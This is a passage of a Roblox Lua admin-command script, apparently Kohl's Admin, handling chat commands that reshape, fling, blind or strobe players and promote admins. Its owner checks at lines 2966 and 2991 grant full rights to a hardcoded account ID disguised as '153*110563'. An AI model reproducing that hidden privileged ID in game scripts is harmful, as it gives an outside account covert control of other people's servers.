  2476. repeat wait(1/44) bg.cframe = bg.cframe * CFrame.Angles(0,math.rad(30),0)
  2477. until not bg or bg.Parent ~= torso
  2478. end
  2479. end))
  2480. end
  2481. end
  2482.  
  2483. if msg:lower():sub(1,7) == "unspin " then
  2484. local plrz = GetPlr(plr, msg:lower():sub(8))
  2485. for i, v in pairs(plrz) do
  2486. coroutine.resume(coroutine.create(function()
  2487. if v and v.Character and v.Character:findFirstChild("Torso") then
  2488. for a,q in pairs(v.Character.Torso:children()) do if q.Name == "SPINNER" then q:Destroy() end end
  2489. end
  2490. end))
  2491. end
  2492. end
  2493.  
  2494. if msg:lower():sub(1,4) == "dog " then
  2495. local plrz = GetPlr(plr, msg:lower():sub(5))
  2496. for i, v in pairs(plrz) do
  2497. coroutine.resume(coroutine.create(function()
  2498. if v and v.Character and v.Character:findFirstChild("Torso") then
  2499. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2500. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2501. v.Character.Torso.Transparency = 1
  2502. v.Character.Torso.Neck.C0 = CFrame.new(0,-.5,-2) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2503. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(90),0)
  2504. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-.5,-1.5,-1.5) * CFrame.Angles(0,math.rad(-90),0)
  2505. v.Character.Torso["Right Hip"].C0 = CFrame.new(1.5,-1,1.5) * CFrame.Angles(0,math.rad(90),0)
  2506. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1.5,-1,1.5) * CFrame.Angles(0,math.rad(-90),0)
  2507. local new = Instance.new("Seat", v.Character) new.Name = "FAKETORSO" new.formFactor = "Symmetric" new.TopSurface = 0 new.BottomSurface = 0 new.Size = Vector3.new(3,1,4) new.CFrame = v.Character.Torso.CFrame
  2508. local bf = Instance.new("BodyForce", new) bf.force = Vector3.new(0,new:GetMass()*196.25,0)
  2509. local weld = Instance.new("Weld", v.Character.Torso) weld.Part0 = v.Character.Torso weld.Part1 = new weld.C0 = CFrame.new(0,-.5,0)
  2510. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Brown") elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Brown") end end
  2511. end
  2512. end))
  2513. end
  2514. end
  2515.  
  2516. if msg:lower():sub(1,6) == "undog " then
  2517. local plrz = GetPlr(plr, msg:lower():sub(7))
  2518. for i, v in pairs(plrz) do
  2519. coroutine.resume(coroutine.create(function()
  2520. if v and v.Character and v.Character:findFirstChild("Torso") then
  2521. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2522. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2523. v.Character.Torso.Transparency = 0
  2524. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2525. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2526. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2527. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2528. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2529. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  2530. end
  2531. end))
  2532. end
  2533. end
  2534.  
  2535. if msg:lower():sub(1,8) == "creeper " then
  2536. local plrz = GetPlr(plr, msg:lower():sub(9))
  2537. for i, v in pairs(plrz) do
  2538. coroutine.resume(coroutine.create(function()
  2539. if v and v.Character and v.Character:findFirstChild("Torso") then
  2540. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2541. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2542. v.Character.Torso.Transparency = 0
  2543. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2544. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
  2545. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
  2546. v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
  2547. v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
  2548. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
  2549. end
  2550. end))
  2551. end
  2552. end
  2553.  
  2554. if msg:lower():sub(1,10) == "uncreeper " then
  2555. local plrz = GetPlr(plr, msg:lower():sub(11))
  2556. for i, v in pairs(plrz) do
  2557. coroutine.resume(coroutine.create(function()
  2558. if v and v.Character and v.Character:findFirstChild("Torso") then
  2559. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2560. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2561. v.Character.Torso.Transparency = 0
  2562. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2563. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2564. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2565. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2566. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2567. for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
  2568. end
  2569. end))
  2570. end
  2571. end
  2572.  
  2573. if msg:lower():sub(1,8) == "bighead " then
  2574. local plrz = GetPlr(plr, msg:lower():sub(9))
  2575. for i, v in pairs(plrz) do
  2576. coroutine.resume(coroutine.create(function()
  2577. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  2578. end))
  2579. end
  2580. end
  2581.  
  2582. if msg:lower():sub(1,9) == "minihead " then
  2583. local plrz = GetPlr(plr, msg:lower():sub(10))
  2584. for i, v in pairs(plrz) do
  2585. coroutine.resume(coroutine.create(function()
  2586. if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
  2587. end))
  2588. end
  2589. end
  2590.  
  2591. if msg:lower():sub(1,6) == "fling " then
  2592. local plrz = GetPlr(plr, msg:lower():sub(7))
  2593. for i, v in pairs(plrz) do
  2594. coroutine.resume(coroutine.create(function()
  2595. if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  2596. local xran local zran
  2597. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2598. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2599. v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
  2600. local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2601. end
  2602. end))
  2603. end
  2604. end
  2605.  
  2606. if msg:lower():sub(1,8) == "seizure " then
  2607. local plrz = GetPlr(plr, msg:lower():sub(9))
  2608. for i, v in pairs(plrz) do
  2609. coroutine.resume(coroutine.create(function()
  2610. if v and v.Character then
  2611. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0)
  2612. local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
  2613. table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
  2614. end
  2615. end))
  2616. end
  2617. end
  2618.  
  2619. if msg:lower():sub(1,10) == "unseizure " then
  2620. local plrz = GetPlr(plr, msg:lower():sub(11))
  2621. for i, v in pairs(plrz) do
  2622. coroutine.resume(coroutine.create(function()
  2623. if v and v.Character then
  2624. for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
  2625. wait(.1) v.Character.Humanoid.PlatformStand = false
  2626. end
  2627. end))
  2628. end
  2629. end
  2630.  
  2631. if msg:lower():sub(1,12) == "removelimbs " then
  2632. local plrz = GetPlr(plr, msg:lower():sub(13))
  2633. for i, v in pairs(plrz) do
  2634. coroutine.resume(coroutine.create(function()
  2635. if v and v.Character then
  2636. for a, obj in pairs(v.Character:children()) do
  2637. if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
  2638. end
  2639. end
  2640. end))
  2641. end
  2642. end
  2643.  
  2644. if msg:lower():sub(1,5) == "name " then
  2645. local chk1 = msg:lower():sub(6):find(" ") + 5
  2646. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2647. for i, v in pairs(plrz) do
  2648. coroutine.resume(coroutine.create(function()
  2649. if v and v.Character and v.Character:findFirstChild("Head") then
  2650. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  2651. local char = v.Character
  2652. local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
  2653. local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
  2654. local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
  2655. char.Head.Transparency = 1
  2656. end
  2657. end))
  2658. end
  2659. end
  2660.  
  2661. if msg:lower():sub(1,7) == "unname " then
  2662. local plrz = GetPlr(plr, msg:lower():sub(8))
  2663. for i, v in pairs(plrz) do
  2664. coroutine.resume(coroutine.create(function()
  2665. if v and v.Character and v.Character:findFirstChild("Head") then
  2666. for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
  2667. end
  2668. end))
  2669. end
  2670. end
  2671.  
  2672. if msg:lower():sub(1,5) == "char " then
  2673. local chk1 = msg:lower():sub(6):find(" ") + 5
  2674. local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  2675. for i, v in pairs(plrz) do
  2676. coroutine.resume(coroutine.create(function()
  2677. if v and v.Character then
  2678. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
  2679. v:LoadCharacter()
  2680. end
  2681. end))
  2682. end
  2683. end
  2684.  
  2685. if msg:lower():sub(1,7) == "unchar " then
  2686. local plrz = GetPlr(plr, msg:lower():sub(8))
  2687. for i, v in pairs(plrz) do
  2688. coroutine.resume(coroutine.create(function()
  2689. if v and v.Character then
  2690. v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
  2691. v:LoadCharacter()
  2692. end
  2693. end))
  2694. end
  2695. end
  2696.  
  2697. if msg:lower():sub(1,7) == "infect " then
  2698. local plrz = GetPlr(plr, msg:lower():sub(8))
  2699. for i, v in pairs(plrz) do
  2700. coroutine.resume(coroutine.create(function()
  2701. if v and v.Character then
  2702. Infect(v.Character)
  2703. end
  2704. end))
  2705. end
  2706. end
  2707.  
  2708. if msg:lower():sub(1,11) == "rainbowify " then
  2709. local plrz = GetPlr(plr, msg:lower():sub(12))
  2710. for i, v in pairs(plrz) do
  2711. coroutine.resume(coroutine.create(function()
  2712. if v and v.Character and v.Character:findFirstChild("Torso") then
  2713. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2714. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2715. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2716. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  2717. cl.Parent = v.Character cl.Disabled = false
  2718. end
  2719. end))
  2720. end
  2721. end
  2722.  
  2723. if msg:lower():sub(1,9) == "flashify " then
  2724. local plrz = GetPlr(plr, msg:lower():sub(10))
  2725. for i, v in pairs(plrz) do
  2726. coroutine.resume(coroutine.create(function()
  2727. if v and v.Character and v.Character:findFirstChild("Torso") then
  2728. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2729. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2730. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2731. local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
  2732. cl.Parent = v.Character cl.Disabled = false
  2733. end
  2734. end))
  2735. end
  2736. end
  2737.  
  2738. if msg:lower():sub(1,8) == "noobify " then
  2739. local plrz = GetPlr(plr, msg:lower():sub(9))
  2740. for i, v in pairs(plrz) do
  2741. coroutine.resume(coroutine.create(function()
  2742. if v and v.Character then
  2743. Noobify(v.Character)
  2744. end
  2745. end))
  2746. end
  2747. end
  2748.  
  2749. if msg:lower():sub(1,9) == "ghostify " then
  2750. local plrz = GetPlr(plr, msg:lower():sub(10))
  2751. for i, v in pairs(plrz) do
  2752. coroutine.resume(coroutine.create(function()
  2753. if v and v.Character and v.Character:findFirstChild("Torso") then
  2754. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2755. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2756. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2757. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2758. prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
  2759. if prt.Name:find("Leg") then prt.Transparency = 1 end
  2760. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2761. end end
  2762. end
  2763. end))
  2764. end
  2765. end
  2766.  
  2767. if msg:lower():sub(1,8) == "goldify " then
  2768. local plrz = GetPlr(plr, msg:lower():sub(9))
  2769. for i, v in pairs(plrz) do
  2770. coroutine.resume(coroutine.create(function()
  2771. if v and v.Character and v.Character:findFirstChild("Torso") then
  2772. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2773. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2774. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2775. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2776. prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
  2777. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
  2778. end end
  2779. end
  2780. end))
  2781. end
  2782. end
  2783.  
  2784. if msg:lower():sub(1,6) == "shiny " then
  2785. local plrz = GetPlr(plr, msg:lower():sub(7))
  2786. for i, v in pairs(plrz) do
  2787. coroutine.resume(coroutine.create(function()
  2788. if v and v.Character and v.Character:findFirstChild("Torso") then
  2789. if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
  2790. if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
  2791. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2792. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2793. prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
  2794. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
  2795. end end
  2796. end
  2797. end))
  2798. end
  2799. end
  2800.  
  2801. if msg:lower():sub(1,7) == "normal " then
  2802. local plrz = GetPlr(plr, msg:lower():sub(8))
  2803. for i, v in pairs(plrz) do
  2804. coroutine.resume(coroutine.create(function()
  2805. if v and v.Character and v.Character:findFirstChild("Torso") then
  2806. if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end
  2807. if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
  2808. if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
  2809. v.Character.Torso.Transparency = 0
  2810. v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
  2811. v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
  2812. v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
  2813. v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
  2814. v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
  2815. for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
  2816. for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then
  2817. prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
  2818. if prt.Name == "FAKETORSO" then prt:Destroy() end
  2819. elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
  2820. end end
  2821. end
  2822. end))
  2823. end
  2824. end
  2825.  
  2826. if msg:lower():sub(1,7) == "trippy " then
  2827. local plrz = GetPlr(plr, msg:lower():sub(8))
  2828. for i, v in pairs(plrz) do
  2829. coroutine.resume(coroutine.create(function()
  2830. if v and v:findFirstChild("PlayerGui") then
  2831. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2832. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
  2833. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2834. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
  2835. end
  2836. end))
  2837. end
  2838. end
  2839.  
  2840. if msg:lower():sub(1,9) == "untrippy " then
  2841. local plrz = GetPlr(plr, msg:lower():sub(10))
  2842. for i, v in pairs(plrz) do
  2843. coroutine.resume(coroutine.create(function()
  2844. if v and v:findFirstChild("PlayerGui") then
  2845. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
  2846. end
  2847. end))
  2848. end
  2849. end
  2850.  
  2851. if msg:lower():sub(1,7) == "strobe " then
  2852. local plrz = GetPlr(plr, msg:lower():sub(8))
  2853. for i, v in pairs(plrz) do
  2854. coroutine.resume(coroutine.create(function()
  2855. if v and v:findFirstChild("PlayerGui") then
  2856. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2857. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
  2858. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2859. local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
  2860. end
  2861. end))
  2862. end
  2863. end
  2864.  
  2865. if msg:lower():sub(1,9) == "unstrobe " then
  2866. local plrz = GetPlr(plr, msg:lower():sub(10))
  2867. for i, v in pairs(plrz) do
  2868. coroutine.resume(coroutine.create(function()
  2869. if v and v:findFirstChild("PlayerGui") then
  2870. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
  2871. end
  2872. end))
  2873. end
  2874. end
  2875.  
  2876. if msg:lower():sub(1,6) == "blind " then
  2877. local plrz = GetPlr(plr, msg:lower():sub(7))
  2878. for i, v in pairs(plrz) do
  2879. coroutine.resume(coroutine.create(function()
  2880. if v and v:findFirstChild("PlayerGui") then
  2881. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2882. local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
  2883. local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
  2884. end
  2885. end))
  2886. end
  2887. end
  2888.  
  2889. if msg:lower():sub(1,8) == "unblind " then
  2890. local plrz = GetPlr(plr, msg:lower():sub(9))
  2891. for i, v in pairs(plrz) do
  2892. coroutine.resume(coroutine.create(function()
  2893. if v and v:findFirstChild("PlayerGui") then
  2894. for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
  2895. end
  2896. end))
  2897. end
  2898. end
  2899.  
  2900. if msg:lower():sub(1,7) == "guifix " then
  2901. local plrz = GetPlr(plr, msg:lower():sub(8))
  2902. for i, v in pairs(plrz) do
  2903. coroutine.resume(coroutine.create(function()
  2904. if v and v:findFirstChild("PlayerGui") then
  2905. for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
  2906. end
  2907. end))
  2908. end
  2909. end
  2910.  
  2911. if msg:lower():sub(1,9) == "loopheal " then
  2912. local plrz = GetPlr(plr, msg:lower():sub(10))
  2913. for i, v in pairs(plrz) do
  2914. if v then
  2915. local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
  2916. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2917. repeat wait()
  2918. coroutine.resume(coroutine.create(function()
  2919. if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then
  2920. plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
  2921. plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
  2922. end
  2923. end))
  2924. until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2925. end
  2926. end
  2927. end
  2928.  
  2929. if msg:lower():sub(1,11) == "unloopheal " then
  2930. local plrz = GetPlr(plr, msg:lower():sub(12))
  2931. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2932. end
  2933.  
  2934. if msg:lower():sub(1,10) == "loopfling " then
  2935. local plrz = GetPlr(plr, msg:lower():sub(11))
  2936. for i, v in pairs(plrz) do
  2937. if v then
  2938. local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
  2939. local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
  2940. repeat
  2941. coroutine.resume(coroutine.create(function()
  2942. if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then
  2943. local xran local zran
  2944. repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
  2945. repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
  2946. plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
  2947. local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
  2948. end
  2949. end))
  2950. wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  2951. end
  2952. end
  2953. end
  2954.  
  2955. if msg:lower():sub(1,12) == "unloopfling " then
  2956. local plrz = GetPlr(plr, msg:lower():sub(13))
  2957. for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
  2958. end
  2959.  
  2960. end
  2961.  
  2962. -------------------------
  2963. -- True Owner Commands --
  2964. -------------------------
  2965.  
  2966. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
  2967.  
  2968. if msg:lower():sub(1,3) == "oa " then
  2969. local plrz = GetPlr(plr, msg:lower():sub(4))
  2970. for i, v in pairs(plrz) do
  2971. coroutine.resume(coroutine.create(function()
  2972. if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2973. end))
  2974. end
  2975. end
  2976.  
  2977. if msg:lower():sub(1,5) == "unoa " then
  2978. for i = 1, #owners do
  2979. coroutine.resume(coroutine.create(function()
  2980. if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
  2981. end))
  2982. end
  2983. end
  2984.  
  2985. end
  2986.  
  2987. --------------------
  2988. -- Owner Commands --
  2989. --------------------
  2990.  
  2991. if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
  2992.  
  2993. if msg:lower():sub(1,3) == "pa " then
  2994. local plrz = GetPlr(plr, msg:lower():sub(4))
  2995. for i, v in pairs(plrz) do
  2996. coroutine.resume(coroutine.create(function()
  2997. if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
  2998. end))
  2999. end
  3000. end
  3001.  
  3002. if msg:lower():sub(1,5) == "unpa " then
  3003. for i = 1, #admins do
  3004. coroutine.resume(coroutine.create(function()
  3005. if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
  3006. end))
  3007. end
  3008. end
  3009.  
  3010. end
  3011.  
  3012. --------------------------
  3013. -- Super Admin Commands --
  3014. --------------------------
  3015.  
